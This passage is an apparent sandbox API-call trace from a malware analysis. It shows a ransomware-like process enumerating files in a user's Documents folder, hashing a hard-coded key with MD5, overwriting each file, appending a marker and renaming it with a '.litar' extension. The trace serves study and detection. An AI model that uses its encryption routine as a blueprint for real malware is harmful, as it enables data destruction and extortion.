returned 1 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.092] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\") returned="0hH2Yg pWVEr\\" [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.092] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\") returned="RrMc-y7gilA\\" [0127.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0127.093] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0127.093] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\") returned="38Tocm\\" [0127.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.093] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0127.093] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0127.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.093] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.093] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.093] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.093] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.093] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.093] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.093] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.093] PathFindFileNameW (pszPath="") returned="" [0127.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.093] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21727f10, ftCreationTime.dwHighDateTime=0x1d4c61d, ftLastAccessTime.dwLowDateTime=0x910c5420, ftLastAccessTime.dwHighDateTime=0x1d4c9a8, ftLastWriteTime.dwLowDateTime=0x910c5420, ftLastWriteTime.dwHighDateTime=0x1d4c9a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.095] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.096] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21727f10, ftCreationTime.dwHighDateTime=0x1d4c61d, ftLastAccessTime.dwLowDateTime=0x910c5420, ftLastAccessTime.dwHighDateTime=0x1d4c9a8, ftLastWriteTime.dwLowDateTime=0x910c5420, ftLastWriteTime.dwHighDateTime=0x1d4c9a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.096] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de6b0d0, ftCreationTime.dwHighDateTime=0x1d4c9fb, ftLastAccessTime.dwLowDateTime=0xd3b58900, ftLastAccessTime.dwHighDateTime=0x1d4d285, ftLastWriteTime.dwLowDateTime=0xd3b58900, ftLastWriteTime.dwHighDateTime=0x1d4d285, nFileSizeHigh=0x0, nFileSizeLow=0x52b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="02kt3FBU.ots", cAlternateFileName="")) returned 1 [0127.096] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.096] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x6aef38 [0127.096] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.096] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\02kt3FBU.ots") returned=".ots" [0127.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\02kt3FBU.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\02kt3fbu.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.097] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=21169) returned 1 [0127.097] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.098] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x528b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.098] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.100] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.100] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.100] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.100] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x52b1, lpOverlapped=0x0) returned 1 [0127.101] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.101] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.101] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.101] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.101] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.102] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.102] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.102] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.102] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.102] GetLastError () returned 0x0 [0127.102] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.102] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x52b0) returned 0x30fa0b0 [0127.102] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.102] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x52ac, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x52ac, lpOverlapped=0x0) returned 1 [0127.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.102] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x52b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.103] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.103] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.103] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.103] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.103] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.103] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.103] CloseHandle (hObject=0x624) returned 1 [0127.104] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.104] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.104] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.104] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\02kt3FBU.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\02kt3fbu.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\02kt3FBU.ots.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\02kt3fbu.ots.litar")) returned 1 [0127.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.106] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.107] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.107] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f5d4fe0, ftCreationTime.dwHighDateTime=0x1d4c7f3, ftLastAccessTime.dwLowDateTime=0x7cd07250, ftLastAccessTime.dwHighDateTime=0x1d4c888, ftLastWriteTime.dwLowDateTime=0x7cd07250, ftLastWriteTime.dwHighDateTime=0x1d4c888, nFileSizeHigh=0x0, nFileSizeLow=0x955b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1rim73kXzbZdPVb.ppt", cAlternateFileName="1RIM73~1.PPT")) returned 1 [0127.107] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.107] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x6aef38 [0127.107] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.107] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\1rim73kXzbZdPVb.ppt") returned=".ppt" [0127.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\1rim73kXzbZdPVb.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\1rim73kxzbzdpvb.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.107] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=38235) returned 1 [0127.107] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.109] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9535, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.109] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.111] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.111] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.111] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.111] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x955b, lpOverlapped=0x0) returned 1 [0127.112] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.112] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.112] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.112] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.112] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.113] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.113] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.113] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.113] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.113] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.113] GetLastError () returned 0x0 [0127.113] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.113] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.113] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.113] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x9560) returned 0x30fa0b0 [0127.113] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.113] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.113] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x9556, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x9556, lpOverlapped=0x0) returned 1 [0127.114] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.114] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x955b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.114] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.114] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.114] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.114] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.114] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.114] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.114] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.114] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.114] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.114] CloseHandle (hObject=0x624) returned 1 [0127.115] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.115] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.115] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\1rim73kXzbZdPVb.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\1rim73kxzbzdpvb.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\1rim73kXzbZdPVb.ppt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\1rim73kxzbzdpvb.ppt.litar")) returned 1 [0127.116] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.116] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.117] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75404850, ftCreationTime.dwHighDateTime=0x1d4c782, ftLastAccessTime.dwLowDateTime=0xafbd4430, ftLastAccessTime.dwHighDateTime=0x1d4cfaf, ftLastWriteTime.dwLowDateTime=0xafbd4430, ftLastWriteTime.dwHighDateTime=0x1d4cfaf, nFileSizeHigh=0x0, nFileSizeLow=0xd699, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GcIb4JtMTQ.ppt", cAlternateFileName="GCIB4J~1.PPT")) returned 1 [0127.117] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.117] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x6aef38 [0127.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.117] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\GcIb4JtMTQ.ppt") returned=".ppt" [0127.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\GcIb4JtMTQ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\gcib4jtmtq.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.118] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=54937) returned 1 [0127.118] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.120] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd673, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.120] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.121] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.121] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xd699, lpOverlapped=0x0) returned 1 [0127.122] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.122] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.122] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.122] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 